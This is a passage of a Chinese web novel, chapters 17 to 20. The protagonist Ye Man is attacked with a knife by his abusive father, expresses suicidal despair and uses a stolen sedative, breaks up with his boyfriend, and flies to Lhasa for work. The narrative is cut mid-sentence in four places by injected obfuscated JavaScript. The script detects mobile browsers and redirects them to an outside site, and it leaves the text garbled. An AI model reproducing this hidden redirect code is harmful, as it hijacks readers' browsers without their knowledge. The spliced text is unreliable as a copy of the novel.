“为什么?”叶满无法控制自己的情绪,他以一种极不满的语气说:“为什么从来不听我的话?” 妈妈茫然地看他。 叶满指着那些衣服,手在发抖:“为什么要把衣服放在床上?” “哦哦,”妈妈满不在乎地说:“我怕给你弄脏了,就放床上了。” “可是我已经说了,”叶满眼眶泛红,极力压抑:“我说过那些衣服非常脏。” “一点也不脏啊。” 17.第 17 章 妈妈并不当回事:“多干净啊,都看不出来脏。” 叶满觉得自己喘不上来气。 够了!叶满,不要这样,这只是一件很小很小的事。 他扬声说:“我说过,那些很脏!” “小哥……”堂妹担忧地叫了声。 而这一句话说完,叶满也终于注意到里屋门口站着的男人。 爸爸正瞪着他。 他泛黄的眼珠子上挑,很突出,像是要裂出来一样,极薄的嘴唇紧绷着,包裹着他黑色的牙,那牙正狠狠咬着。 他警告地看着叶满,嘴唇阖动几下,没出声儿。 叶满那一瞬间忽然涌上一股子强烈的怒火,明明只要自己闭上嘴,就可以无事发生,这也实在是件小事。 可是,怒火就像猛虎一样从他的魂魄里咆哮而出,他冷冰冰地回视那个干瘦的男人,开口道:“你看什么?” “看你怎么了?”爸爸的火气更甚,咬牙切齿地教育:“你妈那么辛苦给你做饭,给你弄衣服,你什么态度?你学白上了!学校就这么教你的?” 那股子怒火就像正在用泵往里通氧一样,随着每一句话出口都更加浓烈。 叶满实在了解他,知道他的怒火是从刚刚他回家门叶满顶那句嘴开始燃烧的,而不是真的为妈妈说话。过去这么久,他因为这句话的怒气确实也该爆发了。 叶满冷笑道:“我学校教过我什么你不是知道?他们教我杀人!” “你特么再说一句试试!” 碎了的杯子瓷片溅起,划伤了叶满手背,细长一条。 堂妹吓得尖叫起来。 紧接着,那个男人就像一个出笼的恶狗一样,喘着粗气,凶猛地向叶满冲过来。 三叔连忙上来抱住他。 “你这孩子,什么时候能懂事啊?”妈妈在一旁,一口气接着一口气地叹,她向叶满翻着白眼,像是小时候每一次爸爸打叶满时那样,双手空空站在一边,不会拦,只会叹气,说着叶满的种种不是:“唉,都多大了?还不懂事,不就是一件衣裳吗?我真是不知道怎么办好了,要不你杀了我吧。” 叶满觉得整个人都麻木了。 堂妹实在受不了她火上浇油:“婶,你少说两句吧。” “他懂什么事?书白读了!”爸爸说:“他同龄的孩子都结婚生子了,就他还干着个自己都吃不饱的活儿,废物!我怎么操出你这么个玩意儿?” 果然,他真的在看不起自己的工作,他说为自己骄傲都是假的。 三叔显然觉得叶满很不可理喻,劝道:“哎呀,别生气了,认命吧。” 认命? 叶满看了三叔一眼,忽然觉得特别好笑,这个家里,好像有谁的命更好似的。 那个人就要扑过来了,肢体的冲突和碰撞映入眼底,让叶满大脑发木,脸上涨得火辣辣,心脏不停发抖。 那种感觉太熟悉,几乎深刻入他的DNA里,那是恐惧。 伴着每一次夜晚入眠、每一粒米饭、每一个熟悉的脚步声……那些记忆没有出错,叶满终于松了口气,意识到这个家还是原来的样子让他产生了一点诡异的安全感。 叶满身体僵硬地几乎动不了,他的每一个关节都在告诉自己,站着别动,否则你会被打得更狠。 但是他的怒火却从猛虎长成了大象,在巴掌打到之前他挥手拍开,掌心阵阵麻痛,他像是一个发怒的野象一样吼:“你才是废物!” 那一刻,叶满觉得,这个狭小的房子里有两只庞大猛兽正在进行生死较量。 男人的手指像钢钉一样尖锐地订在空气里,他指着叶满:“你都敢打爹骂娘了是吧?书都读到狗肚子里去了!” 三叔和妹妹在中间拼命拦,妈妈就站在一边看着,嘴里念叨着叶满的过错。 叶满眼眶里的眼泪还是砸了下来,他梗着脖子挑衅道:“我为什么不敢?你以为我还会像小时候一样给你下跪,给你磕头吗?” 三叔眼底闪过一丝不满,悄悄松开了拉架的手,爸爸的拳头狠狠地砸上了叶满的脸。 “你信不信我杀了你?” 好像有头骨碎裂的声响,耳边的声音都远去了,钝痛如同被铁锤砸过一样,叶满被打得习惯,怕得发抖。 这是他第一次反抗,他已经二十七岁了,真是可怜。 他想着,反正都这样了,他就死在这里吧,死了就不用内疚,就可以脱离,就不用痛苦了。 他想看看这个以自己进过监狱为豪的男人,是否会像用刀子杀别人一样杀掉自己。 他随手抄起他刚切过蒜的菜刀,他不久前才用蒜做了爸爸最爱的蒜蓉蒸生蚝。 “来,杀了我。”叶满把刀递给他,说:“我是个废物,我不该活在这个世上,你杀了我,我还你一命。” 在叶满的注视下,爸爸毫不犹豫接过刀,狠狠向叶满劈过来。 一次因为堂妹拼命拦,只划开了叶满的脸,他龇牙咧嘴,第二刀直接砍向叶满的脖子。 堂妹拼命把叶满往外拉,她吓得大哭,三叔看架势不好,连忙夺刀,叶满妈妈还在一边站着不动,还在一口一个叹气地抱怨。 门外的夕阳漫天,夏日的风轻轻吹进来,可叶满觉得,他的世界正在进行一场暴风雨。 很像他小时候的一次沙尘暴。 小小只的他独自逆风往家里走,他必须把身体倾斜四十五度,才能勉强前行。 满世界都是黄色,裹着的沙土像刀子一样割在他的脸上、耳朵上,他没办法呼吸,他想放弃,想找个地方躲躲,躲到风过去。 可又下起了雨,雨夹着泥,砸得好疼,可四周空旷,他无处可去。 “滚!”爸爸被推进了里屋,咬牙切齿,他的声音让叶满恐惧又觉得恶心,他吼道:“你滚出我家!我就当没生过你!” 这里就只剩下叶满,所有人包括妈妈都去安抚爸爸了。 “有你这样的爸,是我这辈子最大的耻辱。”叶满无力地说出这一句话,再也没力气待下去,转身,快速离开。 他跑到了姥姥家。 姥姥正在看无声电视。 叶满扑到姥姥膝上,眼泪一滴一滴,无声落在她的裤子上。 “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶满没有任何反应,只是轻轻问:“你从来不埋怨我姥姥、姥爷吗?” 妈妈这一次沉默了。 她给不了答案,如果她能做到,也不会半年了没有踏进过姥姥姥爷家门一步。 她做不到,怎么能要求叶满去和解呢? “妈,”叶满忽然说:“挺长时间了,我不知道活着有什么意思。” 妈妈一下就哭了。 她哭得特别伤心,边用粗糙的手抹眼睛,边说:“你这是怎么了?你别吓唬我。” 看啊……我真是十恶不赦,我是最糟糕的人,我把将自己带到这个世界上的妈妈弄哭了,我真不孝顺,她还不如不生我。 叶满充满自我厌恶。 他不知如何是好,他觉得自己轻飘飘的,脚踩不到实地,他试图向妈妈求救:“我说真的,妈,我老是觉得自个儿是假的,我和这世上的谁都不亲近,也近不了。” 18.第 18 章 “我和你爸不近吗?我们供你吃供你穿,”妈妈已经意识到些不对劲,可她还是逃避,说着:“为什么别的孩子都养得那么好?都敞敞亮亮、积极向上的?为什么就你这样,我真失败啊,我这一辈子真失败啊。” 叶满眸子渐渐暗下去,他听不下去了,又开始内疚,妈妈这样他会心疼,他会想,自己真该死,不该让妈妈伤心的。 他也想知道,为什么别的同龄孩子都结婚了,过得风生水起,只有他还一个人在阴暗角落里鬼鬼祟祟,一事无成,最后变成使劲儿地焦虑。 他其实也并不想来到这个世界上啊…… 妈妈伸手拉他:“我都忘了,他们打我的事儿我早就忘了,你也忘了吧,跟我回去,跟他认个错,我保证他不会打你了。” “妈,我不会再违心认错了,”叶满摇摇头,说:“我不回去了,我看到他就恶心。” “这个世界上怎么会有孩子这么恨自己的亲爸?”他笑笑说:“我从来没这么恨过一个人,我恨得想到自己是他的孩子就觉得恶心。” 说完,他就上了车。 妈妈又追过来,却听身后有人叫了一声。 叶满看过去,是姥爷。 他手上拿了一个大大的方面袋,装了一兜子的东西。 老人走到车门口,一声不吭,闷头将袋子怼进了叶满怀里。 他的手特别有劲儿,动作也粗鲁,把东西给叶满,转头就走了。 看着他消失在夜色里,叶满低头,擦掉眼泪,看清怀里的东西,那是一大袋子吃的,有火腿肠也有饼干和面包。 眼泪又砸了下来。 “啪嗒”一声,将袋子砸出一声轻响。 叶满对试图把他拉下来的妈妈说:“妈,我已经长大了。” “我不孝顺,你也就当没我这个孩子吧,”他说那话时声音很平静,对妈妈笑笑,说:“你好好保重自己,我走了。” 出租车缓缓驶离,在没有路灯的乡间小路上行驶,渐渐把星星一样错落的小村庄甩在后面,慢慢消失不见。 叶满抱着那袋零食,低着头,看自己的手机。 他翻出了爸爸的微信,点击删除。 电话号码也拉黑了。 他再也不想和这个一见面就会让自己产生生理性厌恶的人有任何关联。 手机里有几条未读消息。 来自韩竞。 叶满面无表情地点开。 韩竞问他:“为什么拒收礼物?” 韩竞:“小满,我觉得咱们相处有点不对,分开后就没话了是吗?” 韩竞:“你是怎么想的,能和我同步一下吗?” 消息是下午那会儿发来的,距离现在三个多小时了。 手机振动一下。 叶满眼睛都没有丝毫波澜,看着那个对话框里又出现一条:“我处理完这边的事就去找你,我们见面谈谈,好吗?” 叶满轻轻敲击屏幕:“韩竞,咱俩散了吧。” 他甚至都没用“分”这个词儿。 韩竞那边正在输入,叶满飞速点击屏幕,赶在他发来消息之前把他的微信删了,然后,把他的电话一起拉黑。 做这种坏事时,他没有什么波澜,他是一个人品很差的人,而且他也不觉得这对韩竞能有多大影响。 他脑子里清醒得很,韩竞说挺喜欢他的,但是俩刚碰一块儿的人,什么也不了解,能喜欢到哪去? 成年人了,这种话大家心里都有数,萍水相逢,一时兴起,说说就罢了。 韩竞那样的人,什么样的没见过,自己不算什么。 相处几天而已,隔着大半个中国,还是异地,早晚得分。 分就得涉及到吵架、冷遇、疏远,劳心劳神的,没必要,直接一步到位就好。 不过叶满比这些更一步到位。 从他知道韩竞是外地来旅游的那会儿开始,叶满就做好了打算。 在一起一段时间,韩竞走了就分,以后也没什么后顾之忧,毕竟谁还能为了一段几天的感情再回来一趟,机票都大几千呢,不值当的。 干完这不地道的坏事儿,他把手机开了飞行。 车里光线很暗,黑漆漆的,和外面没什么两样,叶满慢慢抱紧了那个袋子。 刷啦啦包装碰撞声音里头,他的眼泪一滴一滴砸下来,哭的时候一点声音也没有。 司机无意间看到他在哭,奇怪地偷看他好几回……他又吓到别人了。 他明明坐在行驶平稳的车上,可却觉得自己像飘着,无法落到实地。 他是这个世界上的一个魂魄,孤独一人,他被所有人放弃了,他什么都没有了。 没有家人,没有朋友,没有恋人。 叶满的心里有另一个声音在声嘶力竭向他吼,那是一个可怜的、弱小的、瘦巴巴的小孩儿,他拢起手试图让叶满听到他的声音,他说:“你还有自己呢!” 可叶满弹了他一下,把小小的人给弹进了深不见底的黑暗角落,更大的声音说:“哪呢?哪呢?我看不见!都是你搞砸了,都是你太过糟糕,把所有人都弄丢了,你活该!废物!” 叶满大脑一片木然,靠在车座上,昏昏沉沉看着窗外。 一轮弯月挂在天上,月明照耀九州万里,这个世界是热闹的,除了他以外。 司机把他叫醒时已经是凌晨,导航结束,他已经到出租房楼下。 楼里安安静静,打开房门,迎接他的仍是漆黑一片。 他的身体很沉,明明穿着夏装,但是身体像是裹了几十斤浸了水的棉衣那样重,甚至都抬不起脚。 他换了衣服,进洗手间里匆匆洗了澡,直接爬上床,昏昏沉沉睡了过去。 清晨天下起了小雨,窗台上的大蒜正舒展着嫩绿直挺的叶子。 叶满趴在白色干净的窗台,安静地盯着它看。 周日,今天无事发生。 他一个人时,又可以补充一点点能量,他时常依靠家里除了他以外唯一的生命体补充能量,他那奇怪的想象力总会让他看到一点不一样的东西。 他看到正有绿色的灵气像萤火虫一样从那绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431336|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色充满生机的蒜叶里飘出来,裹着柔和的光,向他飞来。 触碰到他的皮肤或者眼睛,就飘进去,然后他的精神就会恢复一点点,视力也更好一点点。 外面的雨并不大,潮漉漉的,钢筋丛林里所有的建筑颜色都被雨水润得更深,就像有神仙拿着画笔,把这褪色的世界重新填补颜色,绿的更绿、红的更红,显得压抑又艳俗。 韩竞走后,他的人生又恢复了一成不变。 那个青海男人就像曾经在他身边短暂停留又离去的所有人一样,没什么特别。 睡了一夜,他又饿了。 起床去给自己简单做了顿饭,叶满买的红景天和葡萄糖也到了。 他不知道这东西有没有用,他从来没去过高原,蹲在地上研究半天,往嘴里塞了两粒药。 他所在的海拔只有四百米,而拉萨的海拔在三千米以上,他这两天都在刷那边的环境信息,看到很多火车入藏的游客带的零食包装会涨开,就像往里面充了气一样。 叶满也会产生一点微恐的联想,他会思考自己的身体在进藏路上一点点膨胀,脸会慢慢鼓起来,随后是双臂双腿,随着海拔越高,他就会越涨,然后变成氢气球一样飘起来。 同事也会变成那样,整个飞机上的人都会变成那样,然后再机舱里互相挤压弹撞,然后飞机也变成了胖飞机,在空中撞来撞去。 他瞪着眼,想象力飞了好一会儿,才发现自己的眼睛没有聚焦。 他知道自己不会变成气球,同事也是,他们会从重庆转机直接抵达拉萨,没有时间适应海拔,或许他们一落地就会高反也说不准。 上班时间,孙媛隔着大半个办公室跟他私聊:“我真不想去。” 叶满偷偷抬起头,就见工位上的孙媛正襟危坐,戴着一幅非常睿智的眼镜,眉心微皱,像是在处理关乎会计所生死存亡的大工程。 同事关系与同学关系、朋友关系不一样,平时大家上班都各干各的,下班谁也不搭理谁,叶满不用费心去融入哪段关系,做好自己的事就好。 有些同事会喜欢找他吐槽一些事,或许是因为这个单位里叶满是最穷的、最丧的、最安静的,这种人看起来最无害,可以随便在他身上找优越感、施舍同情、寻求情绪价值。 孙媛和他不算熟,但是大概是要一起出差的缘故,所以最近一直频繁找他聊天。 叶满撑着腮看对话框,一本正经敲击键盘,严肃脸地聊八卦:“我也不想去。” 孙媛:“没办法,还是得去。” 叶满:“唉,没办法。” 孙媛:“你的脸怎么了?刚刚火龙果哥还跟我们说,你让社会人给打了。” 社会人…… 叶满默。 今天那位星巴克哥换了火龙果,并带着那颗红心火龙果路过了办公室所有人的世界,他一直认为之前开越野来接叶满的人是不三不四的社会人。 叶满被爸爸打的淤青很重,脸上也有刮痕,出了血的,看起来触目惊心。 火龙果哥就兴冲冲开始了造谣。 19.第 19 章 叶满慢吞吞动了动手指:“我走路没看路,摔绿化带里了。” 也不知道孙媛信没信,回了个“摸摸”的表情包。 孙媛继续吐槽:“跟副所长和李梅梅一起,我都不敢想象这会是多么地狱的一趟。” 叶满呆了呆,没有和他们同时出去过,他也想象不出来,但是料想也会是非常可怕的经历。 他这人一向习惯把事情往最难最糟糕的情况想,只是这样一想,就会提前累上好几天,这种累会随时间接近而逐渐加重。 只是他不知道,这一次的行程几乎让他到了崩溃的边缘。 一个稳定微薄的工资,一个没有波动的工作,日复一日的生活,365天都是一个模子刻出来,只有要发工资时才会察觉,这一个月又过去了。 所以邻出差的前一天,叶满才恍然觉得时间过得好快,眨眼已经七月。 到了前一天晚上叶满才开始收拾行李,他把自己出差用的床单叠得整整齐齐放在里面,精心从自己那堆助眠挂件儿里挑了一串佛珠戴在自己手腕,一个玉佩挂上脖子,一张符纸放进兜里,其他零零碎碎的都是些衣服和洗漱用品,因为不确定去多久,还多带了几件。 安静的家里,只有他折腾来折腾去的零碎声音,箱子收拾好了,他又开始例行检查,一共检查了三遍,他终于停下,坐在床上休息。 他打开了手机,看明天出发时间。 早上六点到公司,一起去机场,重庆中转,飞往拉萨,一天就能到。 明天一定巨累。 所以叶满决定今天要吃一片安定片,保障睡眠。 安定片是他偷的,小姨有精神疾病,会开一些这种药,只不过她开了常常忘掉。 叶满给姥姥打扫房间时发现了去年的安定片,在柜子角落,已经落灰,他偷偷收起来了。 给自己倒了一杯水,他洗完澡爬上床,把药送进了胃里。 晚上八点,一个无所事事的时间,就像等待公交到来前的几分钟、又像飞机起飞断网后的很长一段航行。 叶满规规整整躺了一会儿,决定给自己换一个姿势迎接睡眠。 他侧过身子,忽然感觉肩头轻微一阵痛。 他下意识伸手触摸肩膀,漆黑安静的房间经历了细微布料摩擦声。 叶满知道那是什么,刚刚洗澡时他看到了,是一点淡黄色的痕迹,淤青已经散了,但还没恢复完全。 他的身体很容易留下痕迹,而且会停留很久。 韩竞在他身上留下的记号还很清晰。 前些日子有陌生电话打进来,属地是青海。 叶满没接,那边就再没打过来了。 他轻轻抿起唇,圆圆的猫眼呆呆望着漆黑的虚空,小声说:“哥。” 没人回答他。 叶满感觉到困了,他轻轻打了个哈欠,嘀嘀咕咕自言自语:“背痛,捏背……” 这个世界上不会有人心甘情愿给他捏背,他的世界只有自己一个人。 这个房子外经历着日落日出,房间的人正沉沉睡着。 假如叶满选择不出去,这个房子就不会有任何变化。它可以一直是黑天,床头的杯子可以一直在那儿,甚至墙上的挂钟,它也可以停留在一个地方,不再走动。 第二天早上醒来,叶满发现自己墙上的钟停了,电池没电了。 他记下要买电池的事,急匆匆洗脸刷牙,拉起行李箱。 外面天已经亮了。 高纬度地区天亮得早,夏天时凌晨三点左右东边天际就会变红。 而六点之前城市公交还没通,好在现在有网约车这玩意儿。 他昨天睡了很长时间,晚上八点到早上五点半,将近十个小时,但是他没有觉得自己状态有多好,只觉得大脑昏沉。 他靠在车上,望着窗外已经忙碌起来的城市,街上的车行色匆匆,南来北往,铁皮的小车像一个个移动的麻将,整个城市像一个麻将桌。 充满烟的昏黄房间里塞满了臭烘烘的人,呛得人大脑里都是辛辣的气味儿,一双双黝黑染着陈年烟渍的一双双大手,将麻将推出去,然后哗啦啦打乱,再重新累起,看得人眼花缭乱。 那些人从一个个房檐下出来,被无形的手打乱,在整个牌桌上摔打、滚来滚去,一场牌局之后,脏兮兮的他们又被整理整齐,回到自己的屋檐之下。 一天复一天,就像一局接一局的牌。 叶满看不到操控人类的手,可却觉得人们像那些麻将一样,不知道自己在做什么,它会帮那些手赚很多钱,也会在牌局结束后,变成孩子们手上的玩具,把它们摆成阶梯的样子,或者一个字、一个投掷球、一个堡垒。 他不知道自己是什么形状,又觉得自己的想法很矫情。 好在,他很快到了公司。 他是最早的,吃了一套煎饼果子同事们才姗姗来迟。 副所长带领他们上了出租车,一行人无精打采地往机场赶。 叶满不喜欢坐飞机。 坐飞机总有那样一个阶段,起飞时、即将落地时,会有一瞬间的失重感。 失重感很恐怖,他的心脏会停止跳动,紧张得手心发汗。 坐飞机时,叶满往往会根据起飞时是否有失重感来判断一位机长是否经验丰富,虽然他完全不懂飞行。 在座位上坐稳,叶满立刻规矩地开启飞行,网络完全无法连接的情况下,无事可做,又试图让自己睡着。 前面李梅梅和副所长正在卿卿我我,王壮壮和叶满坐在一起,正一脸猥琐地盯着座位中间的空隙向前偷窥,身体微微侧向叶满,像是随时有坏话要和他说。 叶满闭上眼睛,他听到王壮壮嘀咕了一声:“睡着了?” 叶满没吭声,假装自己已经熟睡。 飞机的引擎声里,他听到了前座传来的细碎吻声和男人恶心的粗喘、女人腻乎乎的抱怨。 这让叶满起了一身鸡皮疙瘩,他觉得胃里翻涌,他有时候会有那种强烈的冲动,他想把那对男女的亲热画面拍下来,偷偷发给男人的妻女,还有女人的未婚夫。 他希望这个世界上所有人渣都不好过,都遭报应。 可是叶满是个胆小鬼,他在心里演了一出大戏,却连往那边看一眼的勇气都没有。 他怕丢掉自己这个稳定的工作,他是个没能力的人,在这个竞争力越来越强的社会上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437398|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很难再找到一份合适的工作。 笨拙的他通晓了这个社会的一些运行法则,知道那是他无法改变的。 有时候叶满有那种感觉,自己前一秒还是一个正学走路的小孩子,后一秒就被要求成为一个巨人。 他闯入社会时的屡屡碰壁,至今仍让他充满阴影。 他不理解很多事。 他不明白,为什么一出大学校门,那些平时看起来都一样的同学们就立刻变得经验十足,成为职场达人,就像每个人都在他看不见的角落里吃了某种聪明药,只有他被漏下。 这么多年他跌跌撞撞摸索出的一点点职场规则告诉他,不要做有权利的人的敌人。 所以叶满也变成了一个冷眼旁观的坏人。 三个小时后飞机落地重庆,几个人在机场匆匆吃了一顿小面,在下午又登上去往拉萨的飞机。 登机之前,叶满收到了妈妈的信息。 妈妈要求道:“你爸明天去冬城看病,你帮着安排安排。” 叶满手指轻微一抖,他心里发慌,想问问爸爸是什么病,要来大城市看。 可他没有问出来。 他紧紧咬着嘴唇,看屏幕的目光有些模糊,他说:“我早就和周秋阳没联系了,你找别人吧。” 漂亮得晃眼的空姐温柔提醒他关机。 飞机起飞了。 这一次在飞机上升的过程中,叶满感受到了一种的失重感,机舱里安安静静,只有他害怕得紧紧抓着扶手,紧紧闭着眼睛。 飞机持续攀升那段时间,他整个人都处于极度紧绷的状态,直至飞机上升至巡航高度,他才摘掉眼罩。 旁边王壮壮和孙媛已经睡着了,前边的副所长和李梅梅正头凑头一起看电影。 叶满慢慢放松下来。 他睡不着,一直在等待飞机颠簸。 听进过藏的同事说,如果是早上的飞机,颠簸会轻一点,但是下午起风就会颠簸得很厉害。 现在刚刚起飞,目前还没事。 此时飞机巡航高度为一万米,从万米高空向下看,整个世界都变得很远很远。 四十分钟后,叶满的眼中映入了一片白,他的眼睛微微瞪大,手轻轻贴在弦窗,低头看向地表。 飞机的持续颠簸让整个机舱的乘客都有些不安,他们正在交谈,南腔北调交杂在一起,像是一锅沸水中咕嘟咕嘟冒起的泡。 叶满的注意力被窗外的景色吸引,他们正飞行在一片雪山上方。 波澜起伏的白色雪山距离他那么近,仿佛脚就踩在山巅之上。 “那是横断山脉。”忽然一个清朗的声音传来。 那是来自他的后方座位。 他们在讨论这些山吗? 叶满竖起耳朵,偷偷从座椅与弦窗空隙向后看。 一扇椭圆的弦窗被叶满的椅背一分为二,颠簸的机舱让人不稳地晃动,视线也晃动着。 刺眼的光从万米高空降临,浅蓝色的天空纯净,脚下的横断山脉雪白,他们就在天地一线。 叶满下意识缩回来,呆了半刻后,又撑着扶手,小心翼翼从空隙看过去。 那双眼睛果然还在看自己。 20.第 20 章 那是一个英俊的青年,皮肤有些黑,脸型棱角分明,那双眼睛却非常亮,纯粹而清澈,看起来像学生。 他刚刚的话就是对叶满说的,而叶满偷偷看过去时,正巧与他对视。 “啊……”叶满对他点点头,拉上口罩,将自己淤青的那半边脸藏起来,小声说:“我第一次看到这么多雪山。” 那个年轻人看向窗外,指着远处一个凸出于云海之上的山峰,普通话明显带有西部口音:“那是贡嘎山,海拔有七千米,它是蜀山之王。” 叶满看过去,飞机速度很快,但是处于飞机上的人却觉得它移动缓慢,所以慢镜头里,他可以仔细看清楚那些褐色起伏的山脉。 那座山就是横断山区最高峰了,它突出于云海之上的部分看起来像是一座金字塔的顶端,截面陡峭而光滑。 “那些是冰川,”后座的人同样趴在窗上,指向一个方向:“那里是一个冰瀑。” 叶满努力了一下,除了一个小小的山尖尖和一条细细的线什么都看不清。 直至飞机已经将贡嘎山甩在后面,那座孤独的山峰静静停留在了云海,叶满放在窗上的手缓缓收回。 “你去拉萨旅行吗?”那个青年随意搭话。 “我是出差。”叶满小声说。 飞机颠簸更厉害了,空姐正在安抚旅客情绪,叶满抓紧扶手,他不擅长交流,略带紧张地回应陌生人的搭话。 “你已经参加工作了吗?”颠簸似乎并未对这个青年造成困扰,他笑着说:“你看起来比我还小,就像一个大学生。” 叶满不好意思地笑笑,问:“你是藏族人吗?” 他看起来很像藏族的人,他甚至还戴着一顶咖色的圆帽子,脖子上戴着一串念珠。 “是的,”青年说:“我家住在山南,去拉萨找我的姐姐。” 叶满“啊”了声。 “我叫扎布吉格,”青年贴着舱壁,歪头从缝隙里与他对话,眼睛亮闪闪的:“你叫什么?” “叶满。”他说完这句话后,就转回头,不再准备继续和陌生人说话了。 叶满被人叫醒时,飞机已经降落拉萨。 他不知道自己什么时候睡过去的,飞机在气流颠簸和旅客不安的私语中飞行不到三个小时,落地时不到下午六点钟。 一缕阳光落入弦窗,叶满的肩被轻轻推了推。 他茫然地睁开眼睛,看到王壮壮他们正在拿行李。 经济舱紧密的座位间,人的距离好像被无限拉近,一个高挑的身影半靠在他的椅背上,拍他的肩,笑得很阳光:“到拉萨了。” 叶满茫然地仰头,看到那张棱角分明、浓眉大眼的青年时,他脑子里又古古怪怪不合时宜插入了一个念头。 他们都没有胀气,也没有像豹子和长颈鹿一样飞起来。 排队下飞机的路上,他和那位藏族的小伙子一前一后。 听到他说起自己想象中的样子,扎布吉格笑得弯了眼睛,他拍拍叶满的肩,手肘半撑在椅背上,往嘴里鼓起一口气,说:“这样吗?” 他的脖子修长,看起来好像一只胀气的长颈鹿…… 叶满强迫自己停止发散,略带窘迫地点点头,他握着自己的黑色背包带子,为了不让人觉得他有点智障,他解释道:“我知道不会这样。” 年轻人笑起来的时候眼睛像一轮月亮,他说:“善良的人才会有这样有趣的想象力。” 叶满不习惯被夸奖,于是转过头,尴尬地向前走。 正巧孙媛向他搭话,他就没再回过头。 他从摆渡车后门上车,那位藏族的年轻人上了前门。 隔着人山人海,叶满无意间看到他正在低头打电话,低着头,很专注,高挑的影子在满车旅客间十分醒目。 叶满开始感知自己的身体状态,问了一下自己的胃,它没什么问题,又问自己的心脏,它跳得很平稳,脑袋木木的,或许是飞机上的困倦还没缓过来。 一切都正常,似乎没有高反的症状。 摆渡车停在航站楼门口,他和同事一起去取行李,孙媛用胳膊肘拐了叶满一下,给他使眼色。 叶满慢半拍地往前看,就见副所长和李梅梅并排走,手若有若无地贴在一起,暧昧极了。 他觉得可闹心了,看着都烦。 孙媛努嘴:“这么个小所也犯得着这么拼,也不知道图啥,那老东西都谢顶了。” 王壮壮咂了咂嘴,一脸猥琐地凑过来,对孙媛嘿嘿:“图刺激呗。” 叶满加快一步,恰好挤在俩人中间,他一脸的丧和木讷,没人会觉得他是故意的。 孙媛冲叶满笑了笑,又厌恶地斜了那猥琐男同事一眼,嘴唇阖动两下。 叶满余光瞥见了,她好像是在骂人。 “喂!”身后忽然传来一个清朗的声音。 几个人下意识转头往后看,就见一个英俊高挑的年轻人大步向他们走过来。 他穿着年轻时尚的黑色休闲装,与普通人没什么分别,脖子上的念珠却让他看起来多了几分神秘,毕竟,长久生活在没有信仰地域的人,带有异域色彩的元素很容易吸引人的眼球。 “真帅啊……”孙媛低低道:“是藏族吗?” 叶满觉得他在叫自己,看他的视线是自己这个方向的,但是又觉得不会,他转过头,继续往行李转盘走。 “喂!” 身后的声音近了,叶满又稍稍停步,看回去。 那个藏族的年轻人拖着行李跑到了他的面前。 “刚刚想给你这个。”那人将一张纸递给他。 叶满伸手接过,眼睛微微睁大。 半刻后,他连连说:“谢谢你,你画得真好,天呐,这是什么时候画的,我肯定没有这么好看的……” 他总是在接受别人善意的时候感到惶恐而不安,开始无意义地碎碎念,甚至开心的情绪都得靠后站。 他看着那张画,笔触熟练而精准,画得非常细致专业,那是一个侧脸的照片,他趴在飞机弦窗向外面看的模样,看起来安静又柔和。 “不,你本人要更加漂亮。”那个藏族小伙子笑得阳光开朗,他说:“扎西德勒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442612|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “扎西德勒。” 听到这个只在短视频里才能见到的词汇,叶满才有一种自己到了西藏的实感。 合作单位已经有人来接机了,还准备了五条哈达。 叶满晕乎乎被献上哈达后,跟着一起上了车。 接下来的流程累而枯燥,又是惯常的酒桌文化,一大屋子的人,叶满低着头吃东西,像一个隐形人。 一路上叶满并没有看到多少藏族景观,他们直接到了工作的地方,拉萨市里的公司也都是钢筋丛林,并没有什么不同的。 副所长又开始吹牛,李梅梅在他身边替他添酒,一会儿又替他擦擦嘴,一幅贤内助的模样。 叶满觉得工作好像就这么回事,酒桌上高兴了,所有人就都开始各种吹牛说大话。 有人来敬叶满酒,但是也就一两个人过来,后来就没人来了。 一个气质畏缩的怂包不会是重要人物,这个谁都能看出来。 终于挨到吃完饭,快到晚上九点了,西藏也才刚刚日落,天也没完全暗下去。 一行人去了订好的酒店。 一个套房,三个房间,够住五个人。 叶满走了一路,身上已经很脏,他真的很想洗个澡,但是又怕高反。 无奈他只能别扭又焦虑地躺下,甚至没有在很多人躺过的床铺上自己干净的床单,因为那会弄脏它。 而叶满这时候还没有意识到,这样糟糕的开端,是他不幸的开始。 第二天,他们就开始紧锣密鼓投入工作。 